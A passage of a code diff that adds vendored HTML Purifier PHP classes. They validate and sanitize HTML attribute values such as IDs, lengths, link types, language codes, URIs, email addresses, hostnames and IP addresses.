+<?php
+
+/**
+ * Validates the HTML attribute ID.
+ * @warning Even though this is the id processor, it
+ * will ignore the directive Attr:IDBlacklist, since it will only
+ * go according to the ID accumulator. Since the accumulator is
+ * automatically generated, it will have already absorbed the
+ * blacklist. If you're hacking around, make sure you use load()!
+ */
+
+class HTMLPurifier_AttrDef_HTML_ID extends HTMLPurifier_AttrDef
+{
+
+ // selector is NOT a valid thing to use for IDREFs, because IDREFs
+ // *must* target IDs that exist, whereas selector #ids do not.
+
+ /**
+ * Determines whether or not we're validating an ID in a CSS
+ * selector context.
+ * @type bool
+ */
+ protected $selector;
+
+ /**
+ * @param bool $selector
+ */
+ public function __construct($selector = false)
+ {
+ $this->selector = $selector;
+ }
+
+ /**
+ * @param string $id
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($id, $config, $context)
+ {
+ if (!$this->selector && !$config->get('Attr.EnableID')) {
+ return false;
+ }
+
+ $id = trim($id); // trim it first
+
+ if ($id === '') {
+ return false;
+ }
+
+ $prefix = $config->get('Attr.IDPrefix');
+ if ($prefix !== '') {
+ $prefix .= $config->get('Attr.IDPrefixLocal');
+ // prevent re-appending the prefix
+ if (strpos($id, $prefix) !== 0) {
+ $id = $prefix . $id;
+ }
+ } elseif ($config->get('Attr.IDPrefixLocal') !== '') {
+ trigger_error(
+ '%Attr.IDPrefixLocal cannot be used unless ' .
+ '%Attr.IDPrefix is set',
+ E_USER_WARNING
+ );
+ }
+
+ if (!$this->selector) {
+ $id_accumulator =& $context->get('IDAccumulator');
+ if (isset($id_accumulator->ids[$id])) {
+ return false;
+ }
+ }
+
+ // we purposely avoid using regex, hopefully this is faster
+
+ if (ctype_alpha($id)) {
+ $result = true;
+ } else {
+ if (!ctype_alpha(@$id[0])) {
+ return false;
+ }
+ // primitive style of regexps, I suppose
+ $trim = trim(
+ $id,
+ 'A..Za..z0..9:-._'
+ );
+ $result = ($trim === '');
+ }
+
+ $regexp = $config->get('Attr.IDBlacklistRegexp');
+ if ($regexp && preg_match($regexp, $id)) {
+ return false;
+ }
+
+ if (!$this->selector && $result) {
+ $id_accumulator->add($id);
+ }
+
+ // if no change was made to the ID, return the result
+ // else, return the new id if stripping whitespace made it
+ // valid, or return false.
+ return $result ? $id : false;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php
new file mode 100644
index 000000000..1c4006fbb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.php
@@ -0,0 +1,56 @@
+<?php
+
+/**
+ * Validates the HTML type length (not to be confused with CSS's length).
+ *
+ * This accepts integer pixels or percentages as lengths for certain
+ * HTML attributes.
+ */
+
+class HTMLPurifier_AttrDef_HTML_Length extends HTMLPurifier_AttrDef_HTML_Pixels
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = trim($string);
+ if ($string === '') {
+ return false;
+ }
+
+ $parent_result = parent::validate($string, $config, $context);
+ if ($parent_result !== false) {
+ return $parent_result;
+ }
+
+ $length = strlen($string);
+ $last_char = $string[$length - 1];
+
+ if ($last_char !== '%') {
+ return false;
+ }
+
+ $points = substr($string, 0, $length - 1);
+
+ if (!is_numeric($points)) {
+ return false;
+ }
+
+ $points = (int)$points;
+
+ if ($points < 0) {
+ return '0%';
+ }
+ if ($points > 100) {
+ return '100%';
+ }
+ return ((string)$points) . '%';
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php
new file mode 100644
index 000000000..63fa04c15
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.php
@@ -0,0 +1,72 @@
+<?php
+
+/**
+ * Validates a rel/rev link attribute against a directive of allowed values
+ * @note We cannot use Enum because link types allow multiple
+ * values.
+ * @note Assumes link types are ASCII text
+ */
+class HTMLPurifier_AttrDef_HTML_LinkTypes extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Name config attribute to pull.
+ * @type string
+ */
+ protected $name;
+
+ /**
+ * @param string $name
+ */
+ public function __construct($name)
+ {
+ $configLookup = array(
+ 'rel' => 'AllowedRel',
+ 'rev' => 'AllowedRev'
+ );
+ if (!isset($configLookup[$name])) {
+ trigger_error(
+ 'Unrecognized attribute name for link ' .
+ 'relationship.',
+ E_USER_ERROR
+ );
+ return;
+ }
+ $this->name = $configLookup[$name];
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $allowed = $config->get('Attr.' . $this->name);
+ if (empty($allowed)) {
+ return false;
+ }
+
+ $string = $this->parseCDATA($string);
+ $parts = explode(' ', $string);
+
+ // lookup to prevent duplicates
+ $ret_lookup = array();
+ foreach ($parts as $part) {
+ $part = strtolower(trim($part));
+ if (!isset($allowed[$part])) {
+ continue;
+ }
+ $ret_lookup[$part] = true;
+ }
+
+ if (empty($ret_lookup)) {
+ return false;
+ }
+ $string = implode(' ', array_keys($ret_lookup));
+ return $string;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php
new file mode 100644
index 000000000..bbb20f2f8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.php
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Validates a MultiLength as defined by the HTML spec.
+ *
+ * A multilength is either a integer (pixel count), a percentage, or
+ * a relative number.
+ */
+class HTMLPurifier_AttrDef_HTML_MultiLength extends HTMLPurifier_AttrDef_HTML_Length
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = trim($string);
+ if ($string === '') {
+ return false;
+ }
+
+ $parent_result = parent::validate($string, $config, $context);
+ if ($parent_result !== false) {
+ return $parent_result;
+ }
+
+ $length = strlen($string);
+ $last_char = $string[$length - 1];
+
+ if ($last_char !== '*') {
+ return false;
+ }
+
+ $int = substr($string, 0, $length - 1);
+
+ if ($int == '') {
+ return '*';
+ }
+ if (!is_numeric($int)) {
+ return false;
+ }
+
+ $int = (int)$int;
+ if ($int < 0) {
+ return false;
+ }
+ if ($int == 0) {
+ return '0';
+ }
+ if ($int == 1) {
+ return '*';
+ }
+ return ((string)$int) . '*';
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php
new file mode 100644
index 000000000..f79683b4f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Nmtokens.php
@@ -0,0 +1,70 @@
+<?php
+
+/**
+ * Validates contents based on NMTOKENS attribute type.
+ */
+class HTMLPurifier_AttrDef_HTML_Nmtokens extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = trim($string);
+
+ // early abort: '' and '0' (strings that convert to false) are invalid
+ if (!$string) {
+ return false;
+ }
+
+ $tokens = $this->split($string, $config, $context);
+ $tokens = $this->filter($tokens, $config, $context);
+ if (empty($tokens)) {
+ return false;
+ }
+ return implode(' ', $tokens);
+ }
+
+ /**
+ * Splits a space separated list of tokens into its constituent parts.
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ protected function split($string, $config, $context)
+ {
+ // OPTIMIZABLE!
+ // do the preg_match, capture all subpatterns for reformulation
+
+ // we don't support U+00A1 and up codepoints or
+ // escaping because I don't know how to do that with regexps
+ // and plus it would complicate optimization efforts (you never
+ // see that anyway).
+ $pattern = '/(?:(?<=\s)|\A)' . // look behind for space or string start
+ '((?:--|-?[A-Za-z_])[A-Za-z_\-0-9]*)' .
+ '(?:(?=\s)|\z)/'; // look ahead for space or string end
+ preg_match_all($pattern, $string, $matches);
+ return $matches[1];
+ }
+
+ /**
+ * Template method for removing certain tokens based on arbitrary criteria.
+ * @note If we wanted to be really functional, we'd do an array_filter
+ * with a callback. But... we're not.
+ * @param array $tokens
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array
+ */
+ protected function filter($tokens, $config, $context)
+ {
+ return $tokens;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php
new file mode 100644
index 000000000..a1d019e09
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.php
@@ -0,0 +1,76 @@
+<?php
+
+/**
+ * Validates an integer representation of pixels according to the HTML spec.
+ */
+class HTMLPurifier_AttrDef_HTML_Pixels extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @type int
+ */
+ protected $max;
+
+ /**
+ * @param int $max
+ */
+ public function __construct($max = null)
+ {
+ $this->max = $max;
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = trim($string);
+ if ($string === '0') {
+ return $string;
+ }
+ if ($string === '') {
+ return false;
+ }
+ $length = strlen($string);
+ if (substr($string, $length - 2) == 'px') {
+ $string = substr($string, 0, $length - 2);
+ }
+ if (!is_numeric($string)) {
+ return false;
+ }
+ $int = (int)$string;
+
+ if ($int < 0) {
+ return '0';
+ }
+
+ // upper-bound value, extremely high values can
+ // crash operating systems, see <http://ha.ckers.org/imagecrash.html>
+ // WARNING, above link WILL crash you if you're using Windows
+
+ if ($this->max !== null && $int > $this->max) {
+ return (string)$this->max;
+ }
+ return (string)$int;
+ }
+
+ /**
+ * @param string $string
+ * @return HTMLPurifier_AttrDef
+ */
+ public function make($string)
+ {
+ if ($string === '') {
+ $max = null;
+ } else {
+ $max = (int)$string;
+ }
+ $class = get_class($this);
+ return new $class($max);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php
new file mode 100644
index 000000000..400e707d2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Integer.php
@@ -0,0 +1,91 @@
+<?php
+
+/**
+ * Validates an integer.
+ * @note While this class was modeled off the CSS definition, no currently
+ * allowed CSS uses this type. The properties that do are: widows,
+ * orphans, z-index, counter-increment, counter-reset. Some of the
+ * HTML attributes, however, find use for a non-negative version of this.
+ */
+class HTMLPurifier_AttrDef_Integer extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Whether or not negative values are allowed.
+ * @type bool
+ */
+ protected $negative = true;
+
+ /**
+ * Whether or not zero is allowed.
+ * @type bool
+ */
+ protected $zero = true;
+
+ /**
+ * Whether or not positive values are allowed.
+ * @type bool
+ */
+ protected $positive = true;
+
+ /**
+ * @param $negative Bool indicating whether or not negative values are allowed
+ * @param $zero Bool indicating whether or not zero is allowed
+ * @param $positive Bool indicating whether or not positive values are allowed
+ */
+ public function __construct($negative = true, $zero = true, $positive = true)
+ {
+ $this->negative = $negative;
+ $this->zero = $zero;
+ $this->positive = $positive;
+ }
+
+ /**
+ * @param string $integer
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($integer, $config, $context)
+ {
+ $integer = $this->parseCDATA($integer);
+ if ($integer === '') {
+ return false;
+ }
+
+ // we could possibly simply typecast it to integer, but there are
+ // certain fringe cases that must not return an integer.
+
+ // clip leading sign
+ if ($this->negative && $integer[0] === '-') {
+ $digits = substr($integer, 1);
+ if ($digits === '0') {
+ $integer = '0';
+ } // rm minus sign for zero
+ } elseif ($this->positive && $integer[0] === '+') {
+ $digits = $integer = substr($integer, 1); // rm unnecessary plus
+ } else {
+ $digits = $integer;
+ }
+
+ // test if it's numeric
+ if (!ctype_digit($digits)) {
+ return false;
+ }
+
+ // perform scope tests
+ if (!$this->zero && $integer == 0) {
+ return false;
+ }
+ if (!$this->positive && $integer > 0) {
+ return false;
+ }
+ if (!$this->negative && $integer < 0) {
+ return false;
+ }
+
+ return $integer;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php
new file mode 100644
index 000000000..2a55cea64
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Lang.php
@@ -0,0 +1,86 @@
+<?php
+
+/**
+ * Validates the HTML attribute lang, effectively a language code.
+ * @note Built according to RFC 3066, which obsoleted RFC 1766
+ */
+class HTMLPurifier_AttrDef_Lang extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $string = trim($string);
+ if (!$string) {
+ return false;
+ }
+
+ $subtags = explode('-', $string);
+ $num_subtags = count($subtags);
+
+ if ($num_subtags == 0) { // sanity check
+ return false;
+ }
+
+ // process primary subtag : $subtags[0]
+ $length = strlen($subtags[0]);
+ switch ($length) {
+ case 0:
+ return false;
+ case 1:
+ if (!($subtags[0] == 'x' || $subtags[0] == 'i')) {
+ return false;
+ }
+ break;
+ case 2:
+ case 3:
+ if (!ctype_alpha($subtags[0])) {
+ return false;
+ } elseif (!ctype_lower($subtags[0])) {
+ $subtags[0] = strtolower($subtags[0]);
+ }
+ break;
+ default:
+ return false;
+ }
+
+ $new_string = $subtags[0];
+ if ($num_subtags == 1) {
+ return $new_string;
+ }
+
+ // process second subtag : $subtags[1]
+ $length = strlen($subtags[1]);
+ if ($length == 0 || ($length == 1 && $subtags[1] != 'x') || $length > 8 || !ctype_alnum($subtags[1])) {
+ return $new_string;
+ }
+ if (!ctype_lower($subtags[1])) {
+ $subtags[1] = strtolower($subtags[1]);
+ }
+
+ $new_string .= '-' . $subtags[1];
+ if ($num_subtags == 2) {
+ return $new_string;
+ }
+
+ // process all other subtags, index 2 and up
+ for ($i = 2; $i < $num_subtags; $i++) {
+ $length = strlen($subtags[$i]);
+ if ($length == 0 || $length > 8 || !ctype_alnum($subtags[$i])) {
+ return $new_string;
+ }
+ if (!ctype_lower($subtags[$i])) {
+ $subtags[$i] = strtolower($subtags[$i]);
+ }
+ $new_string .= '-' . $subtags[$i];
+ }
+ return $new_string;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php
new file mode 100644
index 000000000..c7eb3199a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Switch.php
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * Decorator that, depending on a token, switches between two definitions.
+ */
+class HTMLPurifier_AttrDef_Switch
+{
+
+ /**
+ * @type string
+ */
+ protected $tag;
+
+ /**
+ * @type HTMLPurifier_AttrDef
+ */
+ protected $withTag;
+
+ /**
+ * @type HTMLPurifier_AttrDef
+ */
+ protected $withoutTag;
+
+ /**
+ * @param string $tag Tag name to switch upon
+ * @param HTMLPurifier_AttrDef $with_tag Call if token matches tag
+ * @param HTMLPurifier_AttrDef $without_tag Call if token doesn't match, or there is no token
+ */
+ public function __construct($tag, $with_tag, $without_tag)
+ {
+ $this->tag = $tag;
+ $this->withTag = $with_tag;
+ $this->withoutTag = $without_tag;
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $token = $context->get('CurrentToken', true);
+ if (!$token || $token->name !== $this->tag) {
+ return $this->withoutTag->validate($string, $config, $context);
+ } else {
+ return $this->withTag->validate($string, $config, $context);
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php
new file mode 100644
index 000000000..4553a4ea9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/Text.php
@@ -0,0 +1,21 @@
+<?php
+
+/**
+ * Validates arbitrary text according to the HTML spec.
+ */
+class HTMLPurifier_AttrDef_Text extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ return $this->parseCDATA($string);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php
new file mode 100644
index 000000000..c1cd89772
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI.php
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * Validates a URI as defined by RFC 3986.
+ * @note Scheme-specific mechanics deferred to HTMLPurifier_URIScheme
+ */
+class HTMLPurifier_AttrDef_URI extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * @type HTMLPurifier_URIParser
+ */
+ protected $parser;
+
+ /**
+ * @type bool
+ */
+ protected $embedsResource;
+
+ /**
+ * @param bool $embeds_resource Does the URI here result in an extra HTTP request?
+ */
+ public function __construct($embeds_resource = false)
+ {
+ $this->parser = new HTMLPurifier_URIParser();
+ $this->embedsResource = (bool)$embeds_resource;
+ }
+
+ /**
+ * @param string $string
+ * @return HTMLPurifier_AttrDef_URI
+ */
+ public function make($string)
+ {
+ $embeds = ($string === 'embedded');
+ return new HTMLPurifier_AttrDef_URI($embeds);
+ }
+
+ /**
+ * @param string $uri
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($uri, $config, $context)
+ {
+ if ($config->get('URI.Disable')) {
+ return false;
+ }
+
+ $uri = $this->parseCDATA($uri);
+
+ // parse the URI
+ $uri = $this->parser->parse($uri);
+ if ($uri === false) {
+ return false;
+ }
+
+ // add embedded flag to context for validators
+ $context->register('EmbeddedURI', $this->embedsResource);
+
+ $ok = false;
+ do {
+
+ // generic validation
+ $result = $uri->validate($config, $context);
+ if (!$result) {
+ break;
+ }
+
+ // chained filtering
+ $uri_def = $config->getDefinition('URI');
+ $result = $uri_def->filter($uri, $config, $context);
+ if (!$result) {
+ break;
+ }
+
+ // scheme-specific validation
+ $scheme_obj = $uri->getSchemeObj($config, $context);
+ if (!$scheme_obj) {
+ break;
+ }
+ if ($this->embedsResource && !$scheme_obj->browsable) {
+ break;
+ }
+ $result = $scheme_obj->validate($uri, $config, $context);
+ if (!$result) {
+ break;
+ }
+
+ // Post chained filtering
+ $result = $uri_def->postFilter($uri, $config, $context);
+ if (!$result) {
+ break;
+ }
+
+ // survived gauntlet
+ $ok = true;
+
+ } while (false);
+
+ $context->destroy('EmbeddedURI');
+ if (!$ok) {
+ return false;
+ }
+ // back to string
+ return $uri->toString();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php
new file mode 100644
index 000000000..daf32b764
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php
@@ -0,0 +1,20 @@
+<?php
+
+abstract class HTMLPurifier_AttrDef_URI_Email extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * Unpacks a mailbox into its display-name and address
+ * @param string $string
+ * @return mixed
+ */
+ public function unpack($string)
+ {
+ // needs to be implemented
+ }
+
+}
+
+// sub-implementations
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php
new file mode 100644
index 000000000..52c0d5968
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.php
@@ -0,0 +1,29 @@
+<?php
+
+/**
+ * Primitive email validation class based on the regexp found at
+ * http://www.regular-expressions.info/email.html
+ */
+class HTMLPurifier_AttrDef_URI_Email_SimpleCheck extends HTMLPurifier_AttrDef_URI_Email
+{
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ // no support for named mailboxes i.e. "Bob <bob@example.com>"
+ // that needs more percent encoding to be done
+ if ($string == '') {
+ return false;
+ }
+ $string = trim($string);
+ $result = preg_match('/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $string);
+ return $result ? $string : false;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php
new file mode 100644
index 000000000..e7df800b1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php
@@ -0,0 +1,128 @@
+<?php
+
+/**
+ * Validates a host according to the IPv4, IPv6 and DNS (future) specifications.
+ */
+class HTMLPurifier_AttrDef_URI_Host extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * IPv4 sub-validator.
+ * @type HTMLPurifier_AttrDef_URI_IPv4
+ */
+ protected $ipv4;
+
+ /**
+ * IPv6 sub-validator.
+ * @type HTMLPurifier_AttrDef_URI_IPv6
+ */
+ protected $ipv6;
+
+ public function __construct()
+ {
+ $this->ipv4 = new HTMLPurifier_AttrDef_URI_IPv4();
+ $this->ipv6 = new HTMLPurifier_AttrDef_URI_IPv6();
+ }
+
+ /**
+ * @param string $string
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($string, $config, $context)
+ {
+ $length = strlen($string);
+ // empty hostname is OK; it's usually semantically equivalent:
+ // the default host as defined by a URI scheme is used:
+ //
+ // If the URI scheme defines a default for host, then that
+ // default applies when the host subcomponent is undefined
+ // or when the registered name is empty (zero length).
+ if ($string === '') {
+ return '';
+ }
+ if ($length > 1 && $string[0] === '[' && $string[$length - 1] === ']') {
+ //IPv6
+ $ip = substr($string, 1, $length - 2);
+ $valid = $this->ipv6->validate($ip, $config, $context);
+ if ($valid === false) {
+ return false;
+ }
+ return '[' . $valid . ']';
+ }
+
+ // need to do checks on unusual encodings too
+ $ipv4 = $this->ipv4->validate($string, $config, $context);
+ if ($ipv4 !== false) {
+ return $ipv4;
+ }
+
+ // A regular domain name.
+
+ // This doesn't match I18N domain names, but we don't have proper IRI support,
+ // so force users to insert Punycode.
+
+ // There is not a good sense in which underscores should be
+ // allowed, since it's technically not! (And if you go as
+ // far to allow everything as specified by the DNS spec...
+ // well, that's literally everything, modulo some space limits
+ // for the components and the overall name (which, by the way,
+ // we are NOT checking!). So we (arbitrarily) decide this:
+ // let's allow underscores wherever we would have allowed
+ // hyphens, if they are enabled. This is a pretty good match
+ // for browser behavior, for example, a large number of browsers
+ // cannot handle foo_.example.com, but foo_bar.example.com is
+ // fairly well supported.
+ $underscore = $config->get('Core.AllowHostnameUnderscore') ? '_' : '';
+
+ // The productions describing this are:
+ $a = '[a-z]'; // alpha
+ $an = '[a-z0-9]'; // alphanum
+ $and = "[a-z0-9-$underscore]"; // alphanum | "-"
+ // domainlabel = alphanum | alphanum *( alphanum | "-" ) alphanum
+ $domainlabel = "$an($and*$an)?";
+ // toplabel = alpha | alpha *( alphanum | "-" ) alphanum
+ $toplabel = "$a($and*$an)?";
+ // hostname = *( domainlabel "." ) toplabel [ "." ]
+ if (preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string)) {
+ return $string;
+ }
+
+ // If we have Net_IDNA2 support, we can support IRIs by
+ // punycoding them. (This is the most portable thing to do,
+ // since otherwise we have to assume browsers support
+
+ if ($config->get('Core.EnableIDNA')) {
+ $idna = new Net_IDNA2(array('encoding' => 'utf8', 'overlong' => false, 'strict' => true));
+ // we need to encode each period separately
+ $parts = explode('.', $string);
+ try {
+ $new_parts = array();
+ foreach ($parts as $part) {
+ $encodable = false;
+ for ($i = 0, $c = strlen($part); $i < $c; $i++) {
+ if (ord($part[$i]) > 0x7a) {
+ $encodable = true;
+ break;
+ }
+ }
+ if (!$encodable) {
+ $new_parts[] = $part;
+ } else {
+ $new_parts[] = $idna->encode($part);
+ }
+ }
+ $string = implode('.', $new_parts);
+ if (preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string)) {
+ return $string;
+ }
+ } catch (Exception $e) {
+ // XXX error reporting
+ }
+ }
+ return false;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php
new file mode 100644
index 000000000..30ac16c9e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php
@@ -0,0 +1,45 @@
+<?php
+
+/**
+ * Validates an IPv4 address
+ * @author Feyd @ forums.devnetwork.net (public domain)
+ */
+class HTMLPurifier_AttrDef_URI_IPv4 extends HTMLPurifier_AttrDef
+{
+
+ /**
+ * IPv4 regex, protected so that IPv6 can reuse it.
+ * @type string
+ */
+ protected $ip4;
+
+ /**
+ * @param string $aIP
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($aIP, $config, $context)
+ {
+ if (!$this->ip4) {
+ $this->_loadRegex();
+ }
+
+ if (preg_match('#^' . $this->ip4 . '$#s', $aIP)) {
+ return $aIP;
+ }
+ return false;
+ }
+
+ /**
+ * Lazy load function to prevent regex from being stuffed in
+ * cache.
+ */
+ protected function _loadRegex()
+ {
+ $oct = '(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'; // 0-255
+ $this->ip4 = "(?:{$oct}\\.{$oct}\\.{$oct}\\.{$oct})";
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php
new file mode 100644
index 000000000..f243793ee
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php
@@ -0,0 +1,89 @@
+<?php
+
+/**
+ * Validates an IPv6 address.
+ * @author Feyd @ forums.devnetwork.net (public domain)
+ * @note This function requires brackets to have been removed from address
+ * in URI.
+ */
+class HTMLPurifier_AttrDef_URI_IPv6 extends HTMLPurifier_AttrDef_URI_IPv4
+{
+
+ /**
+ * @param string $aIP
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return bool|string
+ */
+ public function validate($aIP, $config, $context)
+ {
+ if (!$this->ip4) {
+ $this->_loadRegex();
+ }
+
+ $original = $aIP;
+
+ $hex = '[0-9a-fA-F]';
+ $blk = '(?:' . $hex . '{1,4})';
+ $pre = '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'; // /0 - /128
+
+ // prefix check
+ if (strpos($aIP, '/') !== false) {
+ if (preg_match('#' . $pre . '$#s', $aIP, $find)) {
+ $aIP = substr($aIP, 0, 0 - strlen($find[0]));
+ unset($find);
+ } else {
+ return false;
+ }
+ }
+
+ // IPv4-compatiblity check
+ if (preg_match('#(?<=:' . ')' . $this->ip4 . '$#s', $aIP, $find)) {
+ $aIP = substr($aIP, 0, 0 - strlen($find[0]));
+ $ip = explode('.', $find[0]);
+ $ip = array_map('dechex', $ip);
+ $aIP .= $ip[0] . $ip[1] . ':' . $ip[2] . $ip[3];
+ unset($find, $ip);
+ }
+
+ // compression check
+ $aIP = explode('::', $aIP);
+ $c = count($aIP);
+ if ($c > 2) {
+ return false;
+ } elseif ($c == 2) {
+ list($first, $second) = $aIP;
+ $first = explode(':', $first);
+ $second = explode(':', $second);
+
+ if (count($first) + count($second) > 8) {
+ return false;
+ }
+
+ while (count($first) < 8) {
+ array_push($first, '0');
+ }
+
